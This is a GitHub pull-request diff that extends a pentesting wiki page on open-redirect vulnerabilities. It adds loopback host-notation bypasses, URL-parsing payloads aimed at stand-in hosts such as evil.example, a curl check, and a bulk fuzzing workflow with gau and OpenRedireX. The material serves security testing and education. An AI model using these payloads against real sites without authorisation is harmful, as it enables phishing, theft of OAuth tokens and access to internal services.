Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
111 changes: 105 additions & 6 deletions src/pentesting-web/open-redirect.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,23 @@

### Redirect to localhost or arbitrary domains

- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
- Userinfo tricks defeat contains/startswith checks against trusted hosts:
- https://[email protected]/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
- Backslash parsing confusion between frameworks/browsers:
- https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.

{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}

### Open Redirect to XSS
### Modern open-redirect to XSS pivots

```bash
#Basic payload, javascript code is executed after "javascript:"
Expand Down Expand Up @@ -60,6 +71,34 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```

<details>
<summary>More modern URL-based bypass payloads</summary>

```text
# Scheme-relative (current scheme is reused)
//evil.example

# Credentials (userinfo) trick
https://[email protected]/

# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/

# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example

# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example

# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example
```
```
</details>

## Open Redirect uploading svg files

```html
Expand Down Expand Up @@ -173,18 +212,78 @@ exit;
?>
```

## Hunting and exploitation workflow (practical)

- Single URL check with curl:

```bash
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
```

- Discover and fuzz likely parameters at scale:

<details>
<summary>Click to expand</summary>

```bash
# 1) Gather historical URLs, keep those with common redirect params
cat domains.txt \
| gau --o urls.txt # or: waybackurls / katana / hakrawler

# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt

# 3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4) Manually verify interesting hits
awk '/30[1237]|Location:/I' results.txt
```
```
</details>

- Don’t forget client-side sinks in SPAs: look for window.location/assign/replace and framework helpers that read query/hash and redirect.

- Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.

{{#ref}}
../network-services-pentesting/pentesting-web/nextjs.md
{{#endref}}

- OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide:

{{#ref}}
./oauth-to-account-takeover.md
{{#endref}}

- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:

```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
```

## Tools

- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
- OpenRedireX – fuzzer for detecting open redirects. Example:

```bash
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

## Resources
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
```

## References

- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.
- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists.
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)

- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX

{{#include ../banners/hacktricks-training.md}}